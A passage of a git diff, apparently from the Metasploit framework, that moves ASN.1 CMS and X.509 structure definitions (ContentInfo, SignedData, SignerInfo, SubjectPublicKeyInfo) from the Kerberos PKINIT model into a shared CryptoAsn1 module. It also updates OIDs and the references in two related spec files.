EnvelopedData any(:data) ] @@ -248,5 +285,11 @@ def enveloped_data EnvelopedData.parse(self[:data].value) end end + + def signed_data + if self[:content_type].value == Rex::Proto::CryptoAsn1::OIDs::OID_CMS_SIGNED_DATA.value + SignedData.parse(self[:data].value) + end + end end end \ No newline at end of file diff --git a/lib/rex/proto/crypto_asn1/o_i_ds.rb b/lib/rex/proto/crypto_asn1/o_i_ds.rb index 1a1941626533..264d3f08ee70 100644 --- a/lib/rex/proto/crypto_asn1/o_i_ds.rb +++ b/lib/rex/proto/crypto_asn1/o_i_ds.rb @@ -61,8 +61,11 @@ class OIDs OID_PKIX_KP_TIMESTAMP_SIGNING = ObjectId.new('1.3.6.1.5.5.7.3.8', name: 'OID_PKIX_KP_TIMESTAMP_SIGNING', label: 'Time Stamping') OID_ROOT_LIST_SIGNER = ObjectId.new('1.3.6.1.4.1.311.10.3.9', name: 'OID_ROOT_LIST_SIGNER', label: 'Root List Signer') OID_WHQL_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.5', name: 'OID_WHQL_CRYPTO', label: 'Windows Hardware Driver Verification') + OID_DIFFIE_HELLMAN_KEYDATA = ObjectId.new('1.3.6.1.5.2.3.2', name: 'OID_DIFFIE_HELLMAN_KEYDATA', label: 'Diffie Hellman Key Data') + OID_CMS_ENVELOPED_DATA = ObjectId.new('1.2.840.113549.1.7.3', name: 'OID_CMS_ENVELOPED_DATA', label: 'PKCS#7 CMS Enveloped Data') + OID_CMS_SIGNED_DATA = ObjectId.new('1.2.840.113549.1.7.2', name: 'OID_CMS_SIGNED_DATA', label: 'CMS Signed Data') OID_DES_EDE3_CBC = ObjectId.new('1.2.840.113549.3.7', name: 'OID_DES_EDE_CBC', label: 'Triple DES encryption in CBC mode') OID_AES256_CBC = ObjectId.new('2.16.840.1.101.3.4.1.42', name: 'OID_AES256_CBC', label: 'AES256 in CBC mode') diff --git a/lib/rex/proto/crypto_asn1/x509.rb b/lib/rex/proto/crypto_asn1/x509.rb index c1dcf889c1ca..a4ffdd28c7a3 100644 --- a/lib/rex/proto/crypto_asn1/x509.rb +++ b/lib/rex/proto/crypto_asn1/x509.rb @@ -101,6 +101,14 @@ class PrivateDomainName < RASN1::Model ] end + class SubjectPublicKeyInfo < RASN1::Model + sequence :subject_public_key_info, + explicit: 1, constructed: true, optional: true, + content: [model(:algorithm, Rex::Proto::CryptoAsn1::Cms::AlgorithmIdentifier), + bit_string(:subject_public_key) + ] + end + class BuiltinDomainDefinedAttribute < RASN1::Model sequence :BuiltinDomainDefinedAttribute, content: [ printable_string(:type), diff --git a/lib/rex/proto/kerberos/model/pkinit.rb b/lib/rex/proto/kerberos/model/pkinit.rb index 1ab6fcca351d..819e136ef07a 100644 --- a/lib/rex/proto/kerberos/model/pkinit.rb +++ b/lib/rex/proto/kerberos/model/pkinit.rb @@ -8,78 +8,6 @@ module Model # Contains the models for PKINIT-related ASN1 structures # These use the RASN1 library to define the types module Pkinit - class AlgorithmIdentifier < RASN1::Model - sequence :algorithm_identifier, - content: [objectid(:algorithm), - any(:parameters, optional: true) - ] - end - - class Attribute < RASN1::Model - sequence :attribute, - content: [objectid(:attribute_type), - set_of(:attribute_values, RASN1::Types::Any) - ] - end - - class AttributeTypeAndValue < RASN1::Model - sequence :attribute_type_and_value, - content: [objectid(:attribute_type), - any(:attribute_value) - ] - end - - class Certificate - # Rather than specifying the entire structure of a certificate, we pass this off - # to OpenSSL, effectively providing an interface between RASN and OpenSSL. - - attr_accessor :options - - def initialize(options={}) - self.options = options - end - - def to_der - self.options[:openssl_certificate]&.to_der || '' - end - - # RASN1 Glue method - Say if DER can be built (not default value, not optional without value, has a value) - # @return [Boolean] - # @since 0.12 - def can_build? - !to_der.empty? - end - - # RASN1 Glue method - def primitive? - false - end - - # RASN1 Glue method - def value - options[:openssl_certificate] - end - - def parse!(str, ber: false) - self.options[:openssl_certificate] = OpenSSL::X509::Certificate.new(str) - to_der.length - end - end - - class ContentInfo < RASN1::Model - sequence :content_info, - content: [objectid(:content_type), - # In our case, expected to be SignedData - any(:signed_data) - ] - - def signed_data - if self[:content_type].value == '1.2.840.113549.1.7.2' - SignedData.parse(self[:signed_data].value) - end - end - end - class DomainParameters < RASN1::Model sequence :domain_parameters, content: [integer(:p), @@ -90,46 +18,6 @@ class DomainParameters < RASN1::Model ] end - class EncapsulatedContentInfo < RASN1::Model - sequence :encapsulated_content_info, - content: [objectid(:econtent_type), - octet_string(:econtent, explicit: 0, constructed: true, optional: true) - ] - - def econtent - if self[:econtent_type].value == '1.3.6.1.5.2.3.2' - KdcDhKeyInfo.parse(self[:econtent].value) - elsif self[:econtent_type].value == '1.3.6.1.5.2.3.1' - AuthPack.parse(self[:econtent].value) - end - end - end - - class Name - # Rather than specifying the entire structure of a name, we pass this off - # to OpenSSL, effectively providing an interface between RASN and OpenSSL. - attr_accessor :value - - def initialize(options={}) - end - - def parse!(str, ber: false) - self.value = OpenSSL::X509::Name.new(str) - to_der.length - end - - def to_der - self.value.to_der - end - end - - class IssuerAndSerialNumber < RASN1::Model - sequence :signer_identifier, - content: [model(:issuer, Name), - integer(:serial_number) - ] - end - class KdcDhKeyInfo < RASN1::Model sequence :kdc_dh_key_info, content: [bit_string(:subject_public_key, explicit: 0, constructed: true), @@ -148,41 +36,10 @@ class PkAuthenticator < RASN1::Model ] end - class SignerInfo < RASN1::Model - sequence :signer_info, - content: [integer(:version), - model(:sid, IssuerAndSerialNumber), - model(:digest_algorithm, AlgorithmIdentifier), - set_of(:signed_attrs, Attribute, implicit: 0, optional: true), - model(:signature_algorithm, AlgorithmIdentifier), - octet_string(:signature), - ] - end - - class SignedData < RASN1::Model - sequence :signed_data, - explicit: 0, constructed: true, - content: [integer(:version), - set_of(:digest_algorithms, AlgorithmIdentifier), - model(:encap_content_info, EncapsulatedContentInfo), - set_of(:certificates, Certificate, implicit: 0, optional: true), - # CRLs - not implemented - set_of(:signer_infos, SignerInfo) - ] - end - - class SubjectPublicKeyInfo < RASN1::Model - sequence :subject_public_key_info, - explicit: 1, constructed: true, optional: true, - content: [model(:algorithm, AlgorithmIdentifier), - bit_string(:subject_public_key) - ] - end - class AuthPack < RASN1::Model sequence :auth_pack, content: [model(:pk_authenticator, PkAuthenticator), - model(:client_public_value, SubjectPublicKeyInfo), + model(:client_public_value, Rex::Proto::CryptoAsn1::X509::SubjectPublicKeyInfo), octet_string(:client_dh_nonce, implicit: 3, constructed: true, optional: true) ] end diff --git a/lib/rex/proto/kerberos/model/pre_auth_pk_as_rep.rb b/lib/rex/proto/kerberos/model/pre_auth_pk_as_rep.rb index a34ece3572bb..aaa940377a58 100644 --- a/lib/rex/proto/kerberos/model/pre_auth_pk_as_rep.rb +++ b/lib/rex/proto/kerberos/model/pre_auth_pk_as_rep.rb @@ -14,7 +14,7 @@ class PreAuthPkAsRep < RASN1::Model ] def dh_rep_info - Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.parse(self[:dh_rep_info].value) + Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(self[:dh_rep_info].value) end def self.decode(data) diff --git a/lib/rex/proto/kerberos/model/pre_auth_pk_as_req.rb b/lib/rex/proto/kerberos/model/pre_auth_pk_as_req.rb index 53781cd0d0c6..093ad269ad1b 100644 --- a/lib/rex/proto/kerberos/model/pre_auth_pk_as_req.rb +++ b/lib/rex/proto/kerberos/model/pre_auth_pk_as_req.rb @@ -15,7 +15,7 @@ class PreAuthPkAsReq < RASN1::Model def parse!(der, ber: false) res = super(der, ber: ber) - self.signed_auth_pack = Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.parse(self[:signed_auth_pack].value) + self.signed_auth_pack = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(self[:signed_auth_pack].value) res end diff --git a/spec/lib/msf/core/exploit/remote/ms_icpr_spec.rb b/spec/lib/msf/core/exploit/remote/ms_icpr_spec.rb index 1fe9316ff647..7a316f6e5c3a 100644 --- a/spec/lib/msf/core/exploit/remote/ms_icpr_spec.rb +++ b/spec/lib/msf/core/exploit/remote/ms_icpr_spec.rb @@ -108,7 +108,7 @@ end let(:content_info) do - Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.parse( + Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse( "\x30\x82\x0b\x71\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x07\x02\xa0\x82\x0b" \ "\x62\x30\x82\x0b\x5e\x02\x01\x03\x31\x0d\x30\x0b\x06\x09\x60\x86\x48\x01" \ "\x65\x03\x04\x02\x01\x30\x82\x02\x6c\x06\x07\x2b\x06\x01\x05\x02\x03\x01" \ @@ -328,7 +328,7 @@ end it 'return a ContentInfo object' do - expect(result).to be_a(Rex::Proto::Kerberos::Model::Pkinit::ContentInfo) + expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo) end it 'should respond to #to_der' do diff --git a/spec/modules/auxiliary/admin/dcerpc/icpr_cert_spec.rb b/spec/modules/auxiliary/admin/dcerpc/icpr_cert_spec.rb index 5ab10f9b5875..337fa680d8a4 100644 --- a/spec/modules/auxiliary/admin/dcerpc/icpr_cert_spec.rb +++ b/spec/modules/auxiliary/admin/dcerpc/icpr_cert_spec.rb @@ -109,7 +109,7 @@ end let(:content_info) do - Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.parse( + Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse( "\x30\x82\x0b\x71\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x07\x02\xa0\x82\x0b" \ "\x62\x30\x82\x0b\x5e\x02\x01\x03\x31\x0d\x30\x0b\x06\x09\x60\x86\x48\x01" \ "\x65\x03\x04\x02\x01\x30\x82\x02\x6c\x06\x07\x2b\x06\x01\x05\x02\x03\x01" \ @@ -330,7 +330,7 @@ end it 'return a ContentInfo object' do - expect(result).to be_a(Rex::Proto::Kerberos::Model::Pkinit::ContentInfo) + expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo) end it 'should respond to #to_der' do